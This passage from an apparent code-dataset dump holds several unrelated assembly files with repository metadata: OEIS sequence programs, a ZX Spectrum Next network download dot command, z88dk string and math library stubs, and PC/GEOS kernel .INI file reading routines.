9,328,-110,331,-111,334,-112,337,-113,340,-114,343,-115,346,-116,349,-117,352,-118,355,-119,358,-120,361,-121,364,-122,367,-123,370,-124,373,-125
mov $2,-2
bin $2,$0
mul $2,2
add $2,$0
mov $0,1
add $0,$2
div $0,2
mov $1,$0
| 98.166667 | 982 | 0.601019 |
8b712c85201b3f1685103c41557a8983c8abda6d | 398 | asm | Assembly | programs/oeis/071/A071054.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/071/A071054.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/071/A071054.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A071054: a(2n)=3n+1, a(2n+1)=2n+2.
; 1,3,4,5,7,7,10,9,13,11,16,13,19,15,22,17,25,19,28,21,31,23,34,25,37,27,40,29,43,31,46,33,49,35,52,37,55,39,58,41,61,43,64,45,67,47,70,49,73,51,76,53,79,55,82,57,85,59,88,61,91,63,94,65,97,67,100,69,103,71,106,73,109,75,112,77,115,79,118,81,121,83,124,85,127,87,130,89,133,91,136,93,139,95,142,97,145,99,148,101
mov $2,$0
mul $0,2
sub $2,2
dif $2,2
sub $0,$2
| 44.222222 | 312 | 0.643216 |
ea7162919882c41ed2f1c6d2c3fd2f9f79a2656b | 9,648 | asm | Assembly | src/asm/main.asm | Threetwosevensixseven/nget | d8046ad996f91ba67ff76bf62e1fb34b53fe027c | [
"Apache-2.0"
] | 3 | 2020-03-28T00:09:59.000Z | 2020-06-10T09:57:02.000Z | src/asm/main.asm | Threetwosevensixseven/nget | d8046ad996f91ba67ff76bf62e1fb34b53fe027c | [
"Apache-2.0"
] | null | null | null | src/asm/main.asm | Threetwosevensixseven/nget | d8046ad996f91ba67ff76bf62e1fb34b53fe027c | [
"Apache-2.0"
] | null | null | null | ; main.asm
; Assembles with regular version of Zeus (not Next version),
zeusemulate "Next", "RAW", "NOROM" ; because that makes it easier to assemble dot commandszxnextmap -1,DotCommand8KBank,-1,-1,-1,-1,-1,-1 ; Assemble into Next RAM bank but displace back down to $2000
zxnextmap -1,DotBank1,-1,-1,-1,-1,-1,-1 ; Assemble into Next RAM bank but displace back down to $2000
zoSupportStringEscapes = true; ; Download Zeus.exe from http://www.desdes.com/products/oldfiles/
optionsize 5
CSpect optionbool 15, -15, "CSpect", false ; Option in Zeus GUI to launch CSpect
RealESP optionbool 80, -15, "Real ESP", false ; Launch CSpect with physical ESP in USB adaptor
UploadNext optionbool 160, -15, "Next", false ; Copy dot command to Next FlashAir card
ErrDebug optionbool 212, -15, "Debug", false ; Print errors onscreen and halt instead of returning to BASIC
org $2000 ; Dot commands always start at $2000
Start:
jr Begin
db "NGETv1." ; Put a signature and version in the file in case we ever
BuildNo() ; need to detect it programmatically
db 0
Begin: di ; We run with interrupts off apart from printing and halts
ld (Return.Stack1), sp ; Save so we can always return without needing to balance stack
ld sp, $4000 ; Put stack safe inside dot command
ld (SavedArgs), hl ; Save args for later
call InstallErrorHandler ; Handle scroll errors during printing and API calls
PrintMsg(Msg.Startup) ; Now we are safe to print the startup message
ld a, %0000 0001 ; Test for Next courtesy of Simon N Goodwin, thanks :)
MirrorA() ; Z80N-only opcode. If standard Z80 or successors, this will
nop ; be executed as benign opcodes that don't affect the A register.
nop
cp %1000 0000 ; Test that the bits of A were mirrored as expected
ld hl, Err.NotNext ; If not a Spectrum Next,
jp nz, Return.WithCustomError ; exit with an error.
NextRegRead(Reg.MachineID) ; If we passed that test we are safe to read machine ID.
and %0000 1111 ; Only look at bottom four bits, to allow for Next clones
cp 10 ; 10 = ZX Spectrum Next
jp z, IsANext ; 8 = Emulator
cp 8 ; Exit with error if not a Next. HL still points to err message,
jp nz, Return.WithCustomError ; be careful if adding code between the Next check and here!
IsANext:
NextRegRead(Reg.Peripheral2) ; Read Peripheral 2 register.
ld (RestoreF8.Saved), a ; Save current value so it can be restored on exit.
and %0111 1111 ; Clear the F8 enable bit,
nextreg Reg.Peripheral2, a ; And write the entire value back to the register.
NextRegRead(Reg.CPUSpeed) ; Read CPU speed.
and %11 ; Mask out everything but the current desired speed.
ld (RestoreSpeed.Saved), a ; Save current speed so it can be restored on exit.
nextreg Reg.CPUSpeed, %11 ; Set current desired speed to 28MHz.
NextRegRead(Reg.CoreMSB) ; Core Major/Minor version
ld h, a
NextRegRead(Reg.CoreLSB) ; Core Sub version
ld l, a ; HL = version, should be >= $3007
ld de, CoreMinVersion
CpHL(de)
ErrorIfCarry(Err.CoreMin) ; Raise ESP error if no response
; Allocate a 16K package download buffer. We will use IDE_BANK to allocate two 8KB
; banks, which must be freed before exiting the dot command.
call Allocate8KBank ; Bank number in A (not E), errors have already been handled
ld (DeallocateBanks.Upper1), a ; Save bank number
call Allocate8KBank ; Bank number in A (not E), errors have already been handled
ld (DeallocateBanks.Upper2), a ; Save bank number
; Now we can page in the the two 8K banks at $C000 and $E000.
; This paging will need to be undone during cmd exit.
di
nextreg $57, a ; Allocated bank for $E000 was already in A, page it in.
ld a, (DeallocateBanks.Upper1)
nextreg $56, a ; Page in allocated bank for $C000)
BeginWork: ; Setup is finished, real work of the dot cmd starts here.
PrintMsg(Msg.SelfHost)
ESPSend("ATE0")
ErrorIfCarry(Err.ESPComms) ; Raise ESP error if no response
call ESPReceiveWaitOK
ErrorIfCarry(Err.ESPComms) ; Raise ESP error if no response
ESPSend("AT+CIPCLOSE") ; Don't raise error on CIPCLOSE
call ESPReceiveWaitOK ; Because it might not be open
ESPSend("AT+CIPMUX=0")
ErrorIfCarry(Err.ESPComms) ; Raise ESP error if no response
call ESPReceiveWaitOK
ErrorIfCarry(Err.ESPComms) ; Raise ESP error if no response
PrintMsg(Msg.Checking)
ESPSend("AT+CIPSTART=\"TCP\",\"" + NGetServer + "\",44444")
ErrorIfCarry(Err.ESPComms) ; Raise ESP error if no response
call ESPReceiveWaitOK
ErrorIfCarry(Err.ESPComms) ; Raise ESP error if no response
ESPSend("AT+CIPSEND=2")
ErrorIfCarry(Err.ESPComms) ; Raise ESP error if no response
call ESPReceiveWaitPrompt
ErrorIfCarry(Err.ESPComms) ; Raise ESP error if no prompt
ESPSendBufferLen(Cmd.GetV1, Cmd.GetV1Len)
ErrorIfCarry(Err.ESPComms) ; Raise ESP error if no response
PrintMsg(Msg.Found)
call ESPReceiveBuffer ; This protocol V1 cpde has a fixed 10 seconds timeout
PrintMsg(Msg.Downloaded)
call ParseIPDPacket
//ErrorIfCarry(Err.ESPConn) ; Raise connection error if no IPD packet
//PrintMsg(Msg.Overwriting)
if (ErrDebug)
; This is a temporary testing point that indicates we have have reached
; The "success" point, and does a red/blue border effect instead of
; actually exiting cleanly to BASIC.
Freeze(1,2)
else
; This is the official "success" exit point of the program which restores
; all the settings and exits to BASIC cleanly.
//PrintMsg(Msg.Success)
jp Return.ToBasic
endif
include "constants.asm" ; Global constants
include "macros.asm" ; Zeus macros
include "general.asm" ; General routines
include "esp.asm" ; ESP and SLIP routines
include "esxDOS.asm" ; ESXDOS routines
include "print.asm" ; Messaging and error routines
include "vars.asm" ; Global variables
; Everything after this is padded to the next 8K
; but assembles at $8000
Length equ $-Start
zeusprinthex "Cmd size: ", Length
zeusassert zeusver>=74, "Upgrade to Zeus v4.00 (TEST ONLY) or above, available at http://www.desdes.com/products/oldfiles/zeustest.exe"
if (Length > $2000)
zeuserror "DOT command is too large to assemble!"
endif
output_bin "..\\..\\dot\\NGET", zeusmmu(DotBank1), Length
if enabled UploadNext
output_bin "R:\\dot\\NGET", zeusmmu(DotBank1), Length
endif
if enabled CSpect
if enabled RealESP
zeusinvoke "..\\..\\build\\cspect.bat", "", false
else
zeusinvoke "..\\..\\build\\cspect-emulate-esp.bat", "", false
endif
else
zeusinvoke "..\\..\\build\\builddot.bat", "", false
endif
| 59.925466 | 228 | 0.492537 |
96bc4709ebe684c7053e306b7735e1a899940ef5 | 71 | asm | Assembly | libsrc/math/mbf32/z80/overr.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/math/mbf32/z80/overr.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/math/mbf32/z80/overr.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_fp_mbf32
PUBLIC OVERR
EXTERN ARET
defc OVERR = ARET
| 7.888889 | 21 | 0.760563 |
0f0220aeef31269a41f9254217c046bdff02627d | 427 | asm | Assembly | libsrc/_DEVELOPMENT/string/c/sccz80/strcspn_callee.asm | UnivEngineer/z88dk | 9047beba62595b1d88991bc934da75c0e2030d07 | [
"ClArtistic"
] | 1 | 2022-03-08T11:55:58.000Z | 2022-03-08T11:55:58.000Z | libsrc/_DEVELOPMENT/string/c/sccz80/strcspn_callee.asm | UnivEngineer/z88dk | 9047beba62595b1d88991bc934da75c0e2030d07 | [
"ClArtistic"
] | 2 | 2022-03-20T22:17:35.000Z | 2022-03-24T16:10:00.000Z | libsrc/_DEVELOPMENT/string/c/sccz80/strcspn_callee.asm | jorgegv/z88dk | 127130cf11f9ff268ba53e308138b12d2b9be90a | [
"ClArtistic"
] | null | null | null |
; size_t strcspn(const char *s1, const char *s2)
SECTION code_clib
SECTION code_string
PUBLIC strcspn_callee
EXTERN asm_strcspn
strcspn_callee:
IF __CPU_GBZ80__
pop bc
pop de
pop hl
push bc
call asm_strcspn
ld d,h
ld e,l
ret
ELSE
pop hl
pop de
ex (sp),hl
jp asm_strcspn
ENDIF
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _strcspn_callee
defc _strcspn_callee = strcspn_callee
ENDIF
| 11.861111 | 48 | 0.725995 |
2be02e767e268764532803d4e22374e1df93de7f | 375 | asm | Assembly | programs/oeis/103/A103639.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/103/A103639.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/103/A103639.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A103639: a(n) = Product_{i=1..2n} 2*i+1.
; 1,15,945,135135,34459425,13749310575,7905853580625,6190283353629375,6332659870762850625,8200794532637891559375,13113070457687988603440625,25373791335626257947657609375,58435841445947272053455474390625,157952079428395476360490147277859375
mul $0,2
mov $1,2
mov $2,1
lpb $0
sub $0,1
add $2,2
mul $1,$2
lpe
div $1,2
mov $0,$1
| 26.785714 | 239 | 0.786667 |
4f8c356827370792566318907021a3854240d672 | 581 | asm | Assembly | programs/oeis/264/A264080.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/264/A264080.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/264/A264080.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A264080: a(n) = 6*F(n)*F(n+1) + (-1)^n, where F = A000045.
; 1,5,13,35,91,239,625,1637,4285,11219,29371,76895,201313,527045,1379821,3612419,9457435,24759887,64822225,169706789,444298141,1163187635,3045264763,7972606655,20872555201,54645058949,143062621645,374542805987,980565796315,2567154582959,6720897952561,17595539274725,46065719871613,120601620340115,315739141148731,826615803106079,2164108268169505,5665709001402437
add $0,1
mov $2,6
lpb $0,1
sub $0,1
add $1,1
mov $3,$4
add $5,$2
mov $2,0
sub $3,$1
trn $3,1
mov $1,$3
add $5,$4
add $4,$5
lpe
add $1,1
| 30.578947 | 362 | 0.733219 |
2ca58b05107ce5c1326af652a0e1c4a1912297e2 | 65,958 | asm | Assembly | Library/Kernel/Initfile/initfileHigh.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Kernel/Initfile/initfileHigh.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Kernel/Initfile/initfileHigh.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @-----------------------------------------------------------------------
Copyright (c) GeoWorks 1989 -- All Rights Reserved
PROJECT: PC/GEOS
MODULE: Kernel/Initfile
FILE: initfileHigh.asm
AUTHOR: Cheng, 11/89
ROUTINES:
Name Description
---- -----------
InitFilePushPrimaryFile
InitFilePopPrimaryFile
InitFileReadData
InitFileReadString
InitFileReadBoolean
InitFileReadInteger
InitFileReadStringSection
InitFileEnumStringSection
InitFileRead
InitFileGetTimeLastModified
InitFileWriteData
InitFileWriteString
InitFileWriteInteger
InitFileWriteBoolean
InitFileWriteStringSection
InitFileWrite
InitFileDeleteStringSection
InitFileDeleteEntry
InitFileDeleteCategory
InitFileSave
InitFileRevert
INITFILECOMMIT
InitFileSetPrimaryFile
InitFileBackupLanguage Backup the current .INI file to the
appropriate language patch directory,
so it could be restored later.
InitFileSwitchLanguages Delete the current .ini file buffer,
and load a new buffer with the .ini
file last used for the newly specified
language.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 11/89 Initial revision
PJC 1/25/95 Added multi-language code.
DESCRIPTION:
The init file is maintained as a text file for ease of
support and modification.
The init file manipulation code includes routines to read and write
entries for future use. These entries are associated with 'keys'
and these keys are organized under 'categories'. Ie.
[category]
key1 = key1 entry
key2 = key2 entry
...
For flexibility, entries may contain carraige returns. These entries
are referred to as 'blobs'. Blobs are automatically enclosed
within curly braces and require no effort on the caller's part.
In the event that the blob itself contains a curly brace, the brace
is escaped by a backslash character. This again does not require
any effort on the user's part. An example of blob conversion is:
InitFileWriteString called with:
category:
cat
key:
key
body:
body of blob
which may span several lines
and may contain braces ({,}) and backslash (\) characters
The conversion code will transform the input into:
[cat]
key = {body of blob
which may span several lines
and may contain braces (\{,\}) and backslash (\\) characters}
Data may be read and written as binary data. The manipulation code
converts this data into the ASCII decimal for storage and converts
it back into binary during retrieval.
IMPLEMENTATION ISSUES:
Only a single thread is allowed to access the init file at any
one time.
REGISTER USAGE:
bp - dgroup
es - whenever necessary, dgroup
bx - init file handle
TO DO:
A routine can be added to facilitate addition of comments.
$Id: initfileHigh.asm,v 1.1 97/04/05 01:18:05 newdeal Exp $
-------------------------------------------------------------------------------@
include file.def
include Internal/patch.def
InitfileRead segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitFilePushPrimaryFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description:
Pass: nothing
Return: carry set if error
Destroyed: nothing
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Apr 14, 1993 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitFilePushPrimaryFile proc far
uses ax, bx, cx, dx, bp, di, si, es, ds
.enter
;
; Clean up any changes that may have been made before we
; grab the ini file semaphore
;
call InitFileCommit
;
; Make sure no one uses the .ini file from now on
;
call LoadVarSegDS_PInitFile
;
; Look for a .ini file in the top path
;
sub sp, size PathName
mov di, sp
segmov es, ss ;es:di <- buffer
segmov ds, cs
mov si, offset initFileName
mov bx, SP_TOP
call FileConstructActualPath
LONG jc freePathBufferAndError
;
; Open (and read) the new .INI file
;
segmov ds, es
mov dx, di ;ds:dx <- filename
mov ax, mask FOARF_ADD_CRLF or mask FOARF_ADD_EOF \
or FILE_ACCESS_RW or FILE_DENY_RW
call FileOpenAndRead
LONG jc freePathBufferAndError
add sp, size PathName
;
; Make the kernel own both returned handles, and make the
; memory handle sharable.
;
mov di, cx ; size
mov cx, bx ; file handle
mov_tr dx, ax ; memory handle
mov ax, handle 0
call HandleModifyOwner
mov bx, dx
mov ax, handle 0
call HandleModifyOwner
mov ax, mask HF_SHARABLE
call MemModifyFlags
;
; Close the old file
;
LoadVarSeg ds, ax
mov bx, ds:[loaderVars].KLV_initFileHan
mov al, FILE_NO_ERRORS
call FileCloseFar
;
; Shift the .ini files in the buffer down a spot
;
mov si, size hptr * (MAX_INI_FILES - 2)
shiftLoop:
mov ax, ds:[loaderVars][si].KLV_initFileBufHan
mov ds:[loaderVars][si+(size hptr)].KLV_initFileBufHan, ax
dec si
dec si
jns shiftLoop
;
; Record the new info and unlock the buffer
;
mov ds:[loaderVars].KLV_initFileHan, cx
mov ds:[loaderVars].KLV_initFileBufHan, dx
mov ds:[loaderVars].KLV_initFileSize, di
clc ; success!
releaseSemaphore:
pushf
call VInitFile
popf
.leave
ret
freePathBufferAndError:
LoadVarSeg ds ;so we can VInitFile
add sp, size PathName ;clean up stack
stc
jmp releaseSemaphore
InitFilePushPrimaryFile endp
NEC<LocalDefNLString initFileName <"geos.ini", 0> >
EC <LocalDefNLString initFileName <"geosec.ini", 0> >
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitFilePopPrimaryFile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description:
Pass: nothing
Return: carry set if error
Destroyed: nothing
Comments:
Revision History:
Name Date Description
---- ------------ -----------
jon Apr 14, 1993 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitFilePopPrimaryFile proc far
uses ax, bx, cx, dx, bp, di, si, es, ds
.enter
;
; Clean up any changes that may have been made before we
; grab the ini file semaphore
;
call InitFileCommit
;
; Make sure no one uses the .ini file from now on
;
call LoadVarSegDS_PInitFile
;
; Look for a .ini file in the top path
;
sub sp, size PathName
mov di, sp
segmov es, ss ;es:di <- buffer
segmov ds, cs
mov si, offset initFileName
mov bx, SP_TOP
call FileConstructActualPath
jc freePathBufferAndError
;
; Open the new .ini file
;
segmov ds, es
mov dx, di ;ds:dx <- filename
mov al, FILE_ACCESS_RW or FILE_DENY_RW
call FileOpen
jc freePathBufferAndError
add sp, size PathName
;
; Figure out the size of the ini file using FileSize instead
; of MemGetInfo, which rounds to the nearest paragraph...
;
mov_tr bx, ax ; bx = new file handle
call FileSize ; dx:ax <- file size
tst dx
jnz error
inc ax ;include ^Z at end
;of the buffer
;
; OK, there's no longer a possibility of error, so close the
; old file and roll the buffers to the right place
;
push bx, ax ;save file, size
;
; Close the old file
;
LoadVarSeg ds, ax
mov bx, ds:[loaderVars].KLV_initFileHan
mov al, FILE_NO_ERRORS
call FileCloseFar
;
; Free the block containing the recently closed .ini file
;
mov bx, ds:[loaderVars].KLV_initFileBufHan
call MemFree
;
; Shift the .ini files in the buffer up a spot
;
clr si
shiftLoop:
mov ax, ds:[loaderVars][si+(size hptr)].KLV_initFileBufHan
mov ds:[loaderVars][si].KLV_initFileBufHan, ax
inc si
inc si
cmp si, size hptr * (MAX_INI_FILES - 1)
jb shiftLoop
;
; Clear out the last buffer
;
clr ax
mov ds:[loaderVars][si].KLV_initFileBufHan, ax
;
; Record the file handle and size of the new file, and make
; it owned by the kernel.
;
pop bx, ax ;bx <- file handle
;ax <- file size
mov ds:[loaderVars].KLV_initFileHan, bx
mov ds:[loaderVars].KLV_initFileSize, ax
mov ax, handle 0 ; ax = handle of kernel
call HandleModifyOwner ; modify handle bx
;
; We assume that the first buffer is already a copy of the file
; (since we called InitFileCommit at the beginning of
; InitFilePushPrimaryFile), so no need to do stuff here...
;
releaseSemaphore:
pushf
call VInitFile
popf
.leave
ret
freePathBufferAndError:
add sp, size PathName ;clean up stack
error:
stc
jmp releaseSemaphore
InitFilePopPrimaryFile endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileReadData
DESCRIPTION: Locates the given identifier in the geos.ini file
and returns a pointer to the body of the associated string.
CALLED BY: GLOBAL
PASS: ds:si - category ASCIIZ string
cx:dx - key ASCIIZ string
bp - if zero then
routine will allocate a buffer to place entry in
else
bp - buffer size
es:di - buffer to fill
RETURN: carry clear if successful
cx - number of bytes retrieved (excluding null terminator)
if bp was passed as 0,
bx = mem handle to block containing entry
else
es:di - buffer filled
bx destroyed
DESTROYED: bx, if bp was passed 0
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 11/89 Initial version
-------------------------------------------------------------------------------@
InitFileReadData proc far uses bp
.enter
andnf bp, not mask IFRF_CHAR_CONVERT ; make sure we won't be
; confused by being told to
; upcase or downcase things
mov bx, IFOT_DATA
call InitFileRead
mov bx, bp
.leave
ret
InitFileReadData endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileReadString
DESCRIPTION: Locates the given identifier in the geos.ini file
and returns a pointer to the body of the associated string.
CALLED BY: GLOBAL
PASS: ds:si - category ASCIIZ string
cx:dx - key ASCIIZ string
bp - InitFileReadFlags
If IFRF_SIZE = 0
Buffer will be allocated for string
Else
es:di - buffer to fill
RETURN: carry - clear if successful
cx - number of chars retrieved (excluding null terminator)
cx = 0 if category / key not found
bx - mem handle to block containing entry (IFRF_SIZE = 0)
- or -
es:di - buffer filled (IFRF_SIZE != 0)
DESTROYED: bx (if not returned)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 11/89 Initial version
------------------------------------------------------------------------------@
InitFileReadString proc far
uses bp
.enter
mov bx, IFOT_STRING
call InitFileRead
jc notFound
DBCS < shr cx, 1 >
DBCS < EC <ERROR_C ILLEGAL_INIT_FILE_STRING ;odd size >>
dec cx ;don't include NULL size (preserve CF)
mov bx, bp ;block handle => BX
done:
.leave
ret
notFound:
mov cx, 0 ; don't trash carry
jmp done
InitFileReadString endp
COMMENT @----------------------------------------------------------------------
FUNCTION: InitFileReadBoolean
DESCRIPTION: Locates the given category and key in the geos.ini file
and returns a boolean flag.
CALLED BY: GLOBAL
PASS: ds:si - category ASCIIZ string
cx:dx - key ASCIIZ string
RETURN: if found:
carry clear
ax - ffffh = TRUE
0 = FALSE
if category/key not found
carry set
ax - unchanged
DESTROYED: none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
If the key contains a garbage string (ie, not TRUE or FALSE),
then AX is destroyed, and carry is set.
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 11/89 Initial version
-------------------------------------------------------------------------------@
InitFileReadBoolean proc far uses bx,si,ds,es,bp
.enter
clr bp
call EnterInitfileAndFindKey ;es,bp <- dgroup
jc exit
clr bx ;assume false
mov ax, es:[initFileBufPos] ;save buffer position
mov ds, bp ;ds <- dgroup
mov si, offset dgroup:[falseStr] ;ds:si <- "false"
call CmpString ;match
jnc checkValid
dec bx ;signal true
mov es:[initFileBufPos], ax
mov si, offset dgroup:[trueStr]
call CmpString
jc exit
; make sure the matched string is terminated properly (e.g. it's
; not "falsely" or something like that)
checkValid:
call GetChar
dec es:[initFileBufPos]
cmp al, ' '
je ok ;carry = clear
cmp al, '\t'
je ok ;carry = clear
cmp al, '\r'
je ok ;carry = clear
cmp al, '\n'
je ok ;carry = clear
cmp al, INIT_FILE_COMMENT
je ok ;carry = clear
stc ;not valid, so signal error
jmp exit
ok:
mov_tr ax, bx ;ax <- return value
exit:
call ExitInitfileGet
.leave
ret
InitFileReadBoolean endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileReadInteger
DESCRIPTION: Locates the given identifier in the geos.ini file
and returns a pointer to the body of the associated string.
CALLED BY: GLOBAL
PASS: ds:si - category ASCIIZ string
cx:dx - key ASCIIZ string
RETURN: carry clear if successful
ax - value
else carry set
ax - unchanged
DESTROYED:
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 11/89 Initial version
-------------------------------------------------------------------------------@
InitFileReadInteger proc far
uses bx, dx,di,si,ds,es,bp
.enter
clr bp ; no InitFileReadFlags
call EnterInitfileAndFindKey ; es,bp <- dgroup
jc exit
call AsciiToHex ; dx,al <- func(es,bp)
mov_tr ax, dx
exit:
call ExitInitfileGet
.leave
ret
InitFileReadInteger endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: InitFileReadAllInteger
DESCRIPTION: Calls callback routine for integer in all .ini files.
CALLED BY: GLOBAL
PASS: ds:si - category ASCIIZ string
cx:dx - key ASCIIZ string
di:ax - Callback routine (fptr)
es, bx - Data to pass to callback
RETURN: es, bx - Data from callback
carry - Set if callback returned carry set
For callback routine (must be delcared as far):
PASS: ax - integer
es, bx - Data
RETURN: es, bx - Data
carry - Clear (continue enumeration)
- Set (stop enumeration)
MAY DESTROY: ax, cx, dx, di, si, bp, ds
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 1/3/94 Initial version
-------------------------------------------------------------------------------@
if DBCS_PCGEOS
InitFileReadAllInteger proc far
uses ax, cx, dx,di,si,ds,es,bp
.enter
push es
mov bp, mask IFRF_READ_ALL
call EnterInitfileAndFindKey ; es,bp <- dgroup
jc exit
startLoop:
push ax, dx ; save routine, key offsets
call AsciiToHex ; dx,al <- func(es,bp)
mov ss:[TPD_dataAX], dx ; pass integer in AX
pop ax, dx ; restore routine, key offsets
jc next
mov ss:[TPD_dataBX], bx ; pass to callback
; passed ES on top of stack
pop es ; ES = passed ES
push es
push ax, cx, dx, di, bp, ds
mov bx, di ; routine segment
call ProcCallFixedOrMovable
pop ax, cx, dx, di, bp, ds
; dgroup on top of stack
pop bp ; nuke old passed ES
push es ; save new passed ES
LoadVarSeg es, bp ; es = bp = dgroup
jc exit
next:
call GetNextInitFileAndFindKey
jnc startLoop
clc ; indicate no more .ini files
exit:
pop es ; clean up stack
call ExitInitfileGet ; (preserves flags)
.leave
ret
InitFileReadAllInteger endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitFileReadStringSection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Locates the given category and key in the geos.ini file
and returns a handle to a null-terminated copy of one
of the string sections in the string body
CALLED BY: GLOBAL
PASS: DS:SI = Category ASCIIZ string
CX:DX = Key ASCIIZ string
AX = 0-based integer signifying which string section
BP = InitFileReadFlags
If IFRF_SIZE = 0
Buffer will be allocated for string
Else
ES:DI = Buffer to fill
RETURN: Carry = Clear if successful
CX = Number of bytes retrieved (excluding null terminator)
BX = Handle to block containing string (if IFRF_SIZE = 0)
- or -
ES:DI = Buffer filled with string (IFRF_SIZE != 0)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
We're going to do this in stupid fashion:
Get the entire string
Find out part of the string
Copy it to the desired buffer
KNOWN BUGS/SIDE EFFECTS/IDEAS:
The buffer that is allocated does not get resized downward
from its original size (holding the entire string denoted
by the category & key). Since the buffer shouldn't be around
too long, I hope this isn't a problem.
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 10/ 9/90 Initial version
don 1/21/92 Optimized, I hope
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitFileReadStringSection proc far
uses ax, dx, di, si, bp, ds, es
.enter
; Get entire string
;
push bp ; save flags
andnf bp, not (mask IFRF_SIZE) ; always allocate
call InitFileReadString
pop bp ; restore flags
jc done ; if error, we're done
; Get ptr to requested string section
;
mov_tr dx, ax ; section index => DX
call MemLock ; lock the returned string
mov ds, ax ; string => DS:SI
clr si
call GetStringSectionByIndex
jc free
; Determine whether a block was passed or one needs to be allocated.
; If block was passed make sure it is big enough
;
and bp, mask IFRF_SIZE ; size => BP
jz allocate ; if zero, then allocate
cmp bp, cx ; else compare the sizes
jb free ; carry is set, folks
; Copy string section to destination block and null terminate it,
; and unlock allocated block if it exists.
copyString:
push cx ; save the length
